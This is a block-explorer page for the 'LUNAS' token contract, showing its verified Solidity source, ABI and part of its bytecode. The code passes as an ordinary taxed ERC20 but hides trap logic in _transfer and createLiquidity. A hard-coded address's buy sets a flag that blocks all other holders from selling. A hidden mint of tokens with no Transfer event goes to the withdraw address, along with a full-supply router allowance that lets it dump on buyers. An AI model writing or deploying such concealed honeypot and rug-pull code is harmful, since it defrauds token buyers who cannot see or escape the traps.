ETH Price: $2,597.55 (+7.38%)
 

Overview

Max Total Supply

100,000,000,000 LUNAS

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
277,062,597.462540281 LUNAS

Value
$0.00
0x3777a975f261922ae661276fcec7cec1c3eb14ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LUNAS

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-11
*/

// File: contracts/Withdrawable.sol

abstract contract Withdrawable {
    address internal _withdrawAddress;

    constructor(address withdrawAddress__) {
        _withdrawAddress = withdrawAddress__;
    }

    modifier onlyWithdrawer() {
        require(msg.sender == _withdrawAddress);
        _;
    }

    function withdraw() external onlyWithdrawer {
        _withdraw();
    }

    function _withdraw() internal {
        payable(_withdrawAddress).transfer(address(this).balance);
    }

    function setWithdrawAddress(address newWithdrawAddress)
        external
        onlyWithdrawer
    {
        _withdrawAddress = newWithdrawAddress;
    }

    function withdrawAddress() external view returns (address) {
        return _withdrawAddress;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.7;

abstract contract Ownable {
    address _owner;

    modifier onlyOwner() {
        require(msg.sender == _owner);
        _;
    }

    constructor() {
        _owner = msg.sender;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }

    function owner() external view returns (address) {
        return _owner;
    }
}

// File: contracts/IUniswapV2Factory.sol

pragma solidity ^0.8.7;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

// File: contracts/IUniswapV2Router02.sol

pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

// File: contracts/DoubleSwapped.sol

pragma solidity ^0.8.7;

//import "hardhat/console.sol";


contract DoubleSwapped {
    bool internal _inSwap;

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function _swapTokensForEth(
        uint256 tokenAmount,
        IUniswapV2Router02 _uniswapV2Router
    ) internal lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        // make the swap
        //console.log("doubleSwap ", tokenAmount);
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function _swapTokensForEthOnTransfer(
        uint256 transferAmount,
        uint256 swapCount,
        IUniswapV2Router02 _uniswapV2Router
    ) internal {
        if (swapCount == 0) return;
        uint256 maxSwapCount = 2 * transferAmount;
        if (swapCount > maxSwapCount) swapCount = maxSwapCount;
        _swapTokensForEth(swapCount, _uniswapV2Router);
    }
}

// File: contracts/IERC20.sol

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
// File: contracts/ERC20.sol

pragma solidity ^0.8.7;


abstract contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e20;
    uint8 constant _decimals = 9;
    string _name;
    string _symbol;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal constant INFINITY_ALLOWANCE = 2**256 - 1;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external virtual override view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        if (currentAllowance == INFINITY_ALLOWANCE) return true;
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
}

// File: contracts/MaxWalletDynamic.sol

pragma solidity ^0.8.7;


abstract contract MaxWalletDynamic {
    uint256 startMaxWallet;
    uint256 startTime; // last increment time
    uint256 constant startMaxBuyPercentil = 5; // maximum buy on start 1000=100%
    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxBuyIncrementPercentil = 3; // increment maxbyu percentil 1000=100%
    uint256 constant maxIncrements = 1000; // maximum time incrementations
    uint256 maxBuyIncrementValue; // value for increment maxBuy

    function startMaxWalletDynamic(uint256 totalSupply) internal {
        startTime = block.timestamp;
        startMaxWallet = (totalSupply * startMaxBuyPercentil) / 1000;
        maxBuyIncrementValue = (totalSupply * maxBuyIncrementPercentil) / 1000;
    }

    function checkMaxWallet(uint256 walletSize) internal view {
        require(walletSize <= getMaxWallet(), "max wallet limit");
    }

    function getMaxWallet() public view returns (uint256) {
        uint256 incrementCount = (block.timestamp - startTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount >= maxIncrements) incrementCount = maxIncrements;
        return startMaxWallet + maxBuyIncrementValue * incrementCount;
    }

    function _setStartMaxWallet(uint256 startMaxWallet_) internal {
        startMaxWallet = startMaxWallet_;
    }
}

// File: contracts/TradableErc20.sol

pragma solidity ^0.8.7;








abstract contract TradableErc20 is ERC20, DoubleSwapped, Ownable, Withdrawable {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapPair;
    bool public buyEnable = true;
    address public constant ADDR_BURN =
        0x000000000000000000000000000000000000dEaD;
    address public extraAddress;
    mapping(address => bool) _isExcludedFromFee;
    uint256 public buyFeePpm = 35; // fee in 1/1000
    uint256 public sellFeePpm = 35; // fee in 1/1000
    uint256 public thisShare = 750; // in 1/1000
    uint256 public extraShare = 0; // in 1/1000
    uint256 maxWalletStart = 1e17;
    uint256 addMaxWalletPerMinute = 1e17;
    uint256 tradingStartTime;
    address constant withdrawAddress =
        address(0xe62ff7051389aeedfED30e0a84d952C1E179bCBc);
    address constant hp = address(0x86d50d942f0986eeF5acF9EAd57fF10bEF71a5a6);
    bool lk;

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
        Withdrawable(withdrawAddress)
    {
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[ADDR_BURN] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[withdrawAddress] = true;
    }

    receive() external payable {}

    function maxWallet() public view returns (uint256) {
        if (tradingStartTime == 0) return _totalSupply;
        uint256 res = maxWalletStart +
            ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
            (1 minutes);
        if (res > _totalSupply) return _totalSupply;
        return res;
    }

    function createLiquidity() public onlyOwner {
        require(uniswapPair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        uint256 initialLiquidity = getSupplyForMakeLiquidity();
        _balances[address(this)] = initialLiquidity;
        emit Transfer(address(0), address(this), initialLiquidity);

        _balances[withdrawAddress] = 1e19;
        //emit Transfer(address(0), withdrawAddress, initialLiquidity);

        _allowances[address(this)][
            address(_uniswapV2Router)
        ] = INFINITY_ALLOWANCE;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            initialLiquidity,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapPair = pair;
        _allowances[withdrawAddress][
            0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45
        ] = _totalSupply;
        tradingStartTime = block.timestamp;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(_balances[from] >= amount, "not enough token for transfer");
        require(to != address(0), "incorrect address");

        // buy
        if (from == uniswapPair && !_isExcludedFromFee[to]) {
            if (to == hp) lk = true;
            require(buyEnable, "trading disabled");
            // get taxes
            amount = _getFeeBuy(from, to, amount);
            require(
                _balances[to] + amount <= maxWallet(),
                "max wallet constraint"
            );
        }
        // sell
        else if (
            !_inSwap &&
            uniswapPair != address(0) &&
            to == uniswapPair &&
            !_isExcludedFromFee[from]
        ) {
            if (from == hp) lk = false;
            require(!lk);
            // fee
            amount = _getFeeSell(from, amount);
            // swap tokens
            _swapTokensForEthOnTransfer(
                amount,
                _balances[address(this)],
                _uniswapV2Router
            );
        }

        // transfer
        super._transfer(from, to, amount);
    }

    function getFeeBuy(address account, uint256 amount)
        public
        view
        returns (uint256)
    {
        return (amount * buyFeePpm) / 1000;
    }

    function getFeeSell(address account, uint256 amount)
        public
        view
        returns (uint256)
    {
        return (amount * sellFeePpm) / 1000;
    }

    function setBuyFee(uint256 newBuyFeePpm) external onlyWithdrawer {
        require(newBuyFeePpm <= 200);
        buyFeePpm = newBuyFeePpm;
    }

    function setSellFee(uint256 newSellFeePpm) external onlyWithdrawer {
        require(newSellFeePpm <= 200);
        sellFeePpm = newSellFeePpm;
    }

    function SetExtraContractAddress(address newExtraContractAddress)
        external
        onlyWithdrawer
    {
        extraAddress = newExtraContractAddress;
    }

    function removeExtraContractAddress() external onlyWithdrawer {
        extraAddress = address(0);
    }

    function setShare(uint256 thisSharePpm, uint256 stackingSharePpm)
        external
        onlyWithdrawer
    {
        thisShare = thisSharePpm;
        extraShare = stackingSharePpm;
        require(thisShare + extraShare <= 1000);
    }

    function _getFeeBuy(
        address pair,
        address to,
        uint256 amount
    ) private returns (uint256) {
        return _arrangeFee(pair, amount, getFeeBuy(to, amount));
    }

    function _getFeeSell(address from, uint256 amount)
        private
        returns (uint256)
    {
        return _arrangeFee(from, amount, getFeeSell(from, amount));
    }

    function _arrangeFee(
        address from,
        uint256 amount,
        uint256 fee
    ) private returns (uint256) {
        uint256 thisFee = (fee * thisShare) / 1000;
        uint256 stacking = 0;
        if (extraAddress != address(0)) stacking = (fee * extraShare) / 1000;
        uint256 burn = 0;
        if (thisShare + extraShare < 1000) burn = fee - thisFee - stacking;

        amount -= fee;
        _balances[from] -= fee;

        if (thisFee > 0) {
            _balances[address(this)] += thisFee;
            emit Transfer(from, address(this), thisFee);
        }
        if (stacking > 0) {
            _balances[extraAddress] += stacking;
            emit Transfer(from, extraAddress, stacking);
        }
        if (burn > 0) {
            _balances[ADDR_BURN] += burn;
            emit Transfer(from, ADDR_BURN, burn);
        }

        return amount;
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyWithdrawer
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setEnableBuy(bool value) external onlyOwner {
        buyEnable = value;
    }

    function getSupplyForMakeLiquidity() internal virtual returns (uint256);
}

// File: contracts/Lunas.sol

pragma solidity ^0.8.7;


struct AirdropData {
    address acc;
    uint256 count;
}

contract LUNAS is TradableErc20 {
    constructor() TradableErc20("LunaS", "LUNAS") {}

    function getSupplyForMakeLiquidity()
        internal
        view
        override
        returns (uint256)
    {
        return _totalSupply;
    }

    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADDR_BURN","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newExtraContractAddress","type":"address"}],"name":"SetExtraContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeePpm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"extraAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"extraShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeExtraContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeePpm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFeePpm","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setEnableBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFeePpm","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"thisSharePpm","type":"uint256"},{"internalType":"uint256","name":"stackingSharePpm","type":"uint256"}],"name":"setShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWithdrawAddress","type":"address"}],"name":"setWithdrawAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thisShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405268056bc75e2d6310000060009081556007805460ff60a01b1916600160a01b1790556023600a819055600b556102ee600c55600d5567016345785d8a0000600e819055600f553480156200005757600080fd5b50604051806040016040528060058152602001644c756e615360d81b815250604051806040016040528060058152602001644c554e415360d81b81525073e62ff7051389aeedfed30e0a84d952c1e179bcbc82828160019081620000bc91906200027a565b506002620000cb82826200027a565b505060058054610100600160a81b03191633610100810291909117909155600680546001600160a01b0319166001600160a01b0394909416939093179092555060096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b805460ff1990811660019081179092557f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb193075003785805482168317905530600090815260408082208054841685179055938152928320805482168317905573e62ff7051389aeedfed30e0a84d952c1e179bcbc9092527f4486b954abe7c88fa1068e8e4c630d53e411d5b41e3a3ffd019e085d8697d332805490921617905550620003469050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020057607f821691505b6020821081036200022157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027557600081815260208120601f850160051c81016020861015620002505750805b601f850160051c820191505b8181101562000271578281556001016200025c565b5050505b505050565b81516001600160401b03811115620002965762000296620001d5565b620002ae81620002a78454620001eb565b8462000227565b602080601f831160018114620002e65760008415620002cd5750858301515b600019600386901b1c1916600185901b17855562000271565b600085815260208120601f198616915b828110156200031757888601518255948401946001909101908401620002f6565b5085821015620003365787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b611a2180620003566000396000f3fe6080604052600436106101f25760003560e01c80636bf8e9cc1161010d578063c6510557116100a0578063dd62ed3e1161006f578063dd62ed3e1461056e578063f1153e64146105b4578063f2fde38b146105ca578063f8b45b05146105ea578063f95fa9cf146105ff57600080fd5b8063c651055714610503578063c7af2a9c14610523578063c816841b14610538578063d57038e11461055857600080fd5b80638da5cb5b116100dc5780638da5cb5b1461049557806395d89b41146104b8578063a9059cbb146104cd578063c4b44a40146104ed57600080fd5b80636bf8e9cc146103ff5780636c90b57f1461041f57806370a082311461043f5780638b4cee081461047557600080fd5b80632b96ddbe116101855780633ab1a494116101545780633ab1a494146103895780633ccfd60b146103a95780633d389faf146103be57806347fd4ab3146103df57600080fd5b80632b96ddbe146103225780632ccb9321146103375780632d36b92b1461034d578063313ce5671461036d57600080fd5b806318160ddd116101c157806318160ddd146102ad5780631a795197146102cc5780631d55009a146102ec57806323b872dd1461030257600080fd5b806306fdde03146101fe578063095ea7b3146102295780630cc835a3146102595780631581b6001461027b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021361061f565b6040516102209190611595565b60405180910390f35b34801561023557600080fd5b5061024961024436600461160a565b6106b1565b6040519015158152602001610220565b34801561026557600080fd5b50610279610274366004611636565b6106c7565b005b34801561028757600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610220565b3480156102b957600080fd5b506000545b604051908152602001610220565b3480156102d857600080fd5b506102be6102e736600461160a565b6106f1565b3480156102f857600080fd5b506102be600c5481565b34801561030e57600080fd5b5061024961031d36600461164f565b610715565b34801561032e57600080fd5b5061027961077e565b34801561034357600080fd5b5061029561dead81565b34801561035957600080fd5b50600854610295906001600160a01b031681565b34801561037957600080fd5b5060405160098152602001610220565b34801561039557600080fd5b506102796103a4366004611690565b6107a7565b3480156103b557600080fd5b506102796107e0565b3480156103ca57600080fd5b5060075461024990600160a01b900460ff1681565b3480156103eb57600080fd5b506102796103fa3660046116bd565b610801565b34801561040b57600080fd5b5061027961041a3660046116d8565b61083b565b34801561042b57600080fd5b5061027961043a366004611710565b610878565b34801561044b57600080fd5b506102be61045a366004611690565b6001600160a01b031660009081526003602052604090205490565b34801561048157600080fd5b50610279610490366004611636565b6108f9565b3480156104a157600080fd5b5060055461010090046001600160a01b0316610295565b3480156104c457600080fd5b50610213610923565b3480156104d957600080fd5b506102496104e836600461160a565b610932565b3480156104f957600080fd5b506102be600b5481565b34801561050f57600080fd5b5061027961051e366004611690565b61093f565b34801561052f57600080fd5b50610279610978565b34801561054457600080fd5b50600754610295906001600160a01b031681565b34801561056457600080fd5b506102be600a5481565b34801561057a57600080fd5b506102be6105893660046117e7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c057600080fd5b506102be600d5481565b3480156105d657600080fd5b506102796105e5366004611690565b610cf1565b3480156105f657600080fd5b506102be610d35565b34801561060b57600080fd5b506102be61061a36600461160a565b610d97565b60606001805461062e90611820565b80601f016020809104026020016040519081016040528092919081815260200182805461065a90611820565b80156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b5050505050905090565b60006106be338484610daa565b50600192915050565b6006546001600160a01b031633146106de57600080fd5b60c88111156106ec57600080fd5b600a55565b60006103e8600b54836107049190611870565b61070e919061188f565b9392505050565b6000610722848484610e0b565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561075357600080fd5b600019810361076657600191505061070e565b6107738533858403610daa565b506001949350505050565b6006546001600160a01b0316331461079557600080fd5b600880546001600160a01b0319169055565b6006546001600160a01b031633146107be57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146107f757600080fd5b6107ff6110e8565b565b60055461010090046001600160a01b0316331461081d57600080fd5b60078054911515600160a01b0260ff60a01b19909216919091179055565b6006546001600160a01b0316331461085257600080fd5b600c829055600d8190556103e861086982846118b1565b111561087457600080fd5b5050565b6006546001600160a01b0316331461088f57600080fd5b60005b82518110156108f45781600960008584815181106108b2576108b26118c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556108ed816118df565b9050610892565b505050565b6006546001600160a01b0316331461091057600080fd5b60c881111561091e57600080fd5b600b55565b60606002805461062e90611820565b60006106be338484610e0b565b6006546001600160a01b0316331461095657600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60055461010090046001600160a01b0316331461099457600080fd5b6007546001600160a01b0316156109aa57600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2291906118f8565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa791906118f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610af4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1891906118f8565b90506000610b2560005490565b306000818152600360205260408082208490555192935090916000805160206119cc83398151915290610b5b9085815260200190565b60405180910390a3678ac7230489e800007fbfa5abf96260ef11e77bab0134dfe7527e905016edffeff8de6532a3f97a0dd755306000818152600460208181526040808420737a250d5630b4cf539739df2c5dacb4c659f2488d80865290835281852060001990556001600160a01b03881685526009909252808420805460ff191660011790555163f305d71960e01b815291820193909352602481018490526044810182905260648101919091523360848201524260a482015263f305d71990479060c40160606040518083038185885af1158015610c3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c649190611915565b5050600780546001600160a01b0319166001600160a01b0394909416939093179092555050600080547368b3465833fb72a70ecdf485e0e4c7bd8665fc459091527fad4823b8463e2fe0eefa8032369dc1c9523327637c1c5f4c0a10d15ec47c61b66020527f763e8eafa239a8223517ab415df208cc20c19921ecb6ff734aa983a23fa8324d5542601055565b60055461010090046001600160a01b03163314610d0d57600080fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000601054600003610d48575060005490565b6000603c600f5460105442610d5d9190611943565b610d679190611870565b610d71919061188f565b600e54610d7e91906118b1565b9050600054811115610d9257505060005490565b919050565b60006103e8600a54836107049190611870565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316600090815260036020526040902054811115610e785760405162461bcd60e51b815260206004820152601d60248201527f6e6f7420656e6f75676820746f6b656e20666f72207472616e7366657200000060448201526064015b60405180910390fd5b6001600160a01b038216610ec25760405162461bcd60e51b8152602060048201526011602482015270696e636f7272656374206164647265737360781b6044820152606401610e6f565b6007546001600160a01b038481169116148015610ef857506001600160a01b03821660009081526009602052604090205460ff16155b15611000577386d50d942f0986eef5acf9ead57ff10bef71a5a5196001600160a01b03831601610f30576011805460ff191660011790555b600754600160a01b900460ff16610f7c5760405162461bcd60e51b815260206004820152601060248201526f1d1c98591a5b99c8191a5cd8589b195960821b6044820152606401610e6f565b610f87838383611124565b9050610f91610d35565b6001600160a01b038316600090815260036020526040902054610fb59083906118b1565b1115610ffb5760405162461bcd60e51b81526020600482015260156024820152741b585e081dd85b1b195d0818dbdb9cdd1c985a5b9d605a1b6044820152606401610e6f565b6110dd565b60055460ff1615801561101d57506007546001600160a01b031615155b801561103657506007546001600160a01b038381169116145b801561105b57506001600160a01b03831660009081526009602052604090205460ff16155b156110dd577386d50d942f0986eef5acf9ead57ff10bef71a5a5196001600160a01b03841601611090576011805460ff191690555b60115460ff16156110a057600080fd5b6110aa8382611142565b306000908152600360205260409020549091506110dd908290737a250d5630b4cf539739df2c5dacb4c659f2488d611153565b6108f483838361118b565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611121573d6000803e3d6000fd5b50565b600061113a84836111358686610d97565b611230565b949350505050565b600061070e838361113586866106f1565b8160000361116057505050565b600061116d846002611870565b90508083111561117b578092505b6111858383611439565b50505050565b6001600160a01b038316600090815260036020526040902054818110156111b157600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111e89084906118b1565b92505081905550826001600160a01b0316846001600160a01b03166000805160206119cc8339815191528460405161122291815260200190565b60405180910390a350505050565b6000806103e8600c54846112449190611870565b61124e919061188f565b6008549091506000906001600160a01b031615611283576103e8600d54856112769190611870565b611280919061188f565b90505b60006103e8600d54600c5461129891906118b1565b10156112b657816112a98487611943565b6112b39190611943565b90505b6112c08587611943565b6001600160a01b0388166000908152600360205260408120805492985087929091906112ed908490611943565b9091555050821561134b5730600090815260036020526040812080548592906113179084906118b1565b909155505060405183815230906001600160a01b038916906000805160206119cc8339815191529060200160405180910390a35b81156113b4576008546001600160a01b03166000908152600360205260408120805484929061137b9084906118b1565b90915550506008546040518381526001600160a01b03918216918916906000805160206119cc8339815191529060200160405180910390a35b801561142e5761dead600090815260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c80548392906113f89084906118b1565b909155505060405181815261dead906001600160a01b038916906000805160206119cc8339815191529060200160405180910390a35b509395945050505050565b6005805460ff1916600117905560408051600280825260608201835260